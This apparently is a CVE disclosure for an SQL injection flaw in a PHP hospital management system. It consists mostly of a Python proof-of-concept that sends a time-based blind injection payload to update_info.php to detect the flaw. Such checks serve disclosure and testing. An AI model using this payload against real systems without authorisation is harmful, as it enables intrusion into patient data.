CVE-2026-8785: 医院管理系统SQL注入漏洞

import requests def check_sqli(url): # Target endpoint based on vulnerability description target = f"{url}/update_info.php" # Testing payload for Time-Based Blind SQL Injection # Appending a comment to break the rest of the query payload = "1' AND SLEEP(5)-- -" params = { "appointment_no": payload } try: print(f"[*] Sending request to: {target}") response = requests.get(target, params=params, timeout=10) # If the response takes longer than expected due to SLEEP(5), it's vulnerable if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability detected!") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with the actual target URL target_url = "http://localhost/hospital-management-system-in-php" check_sqli(target_url)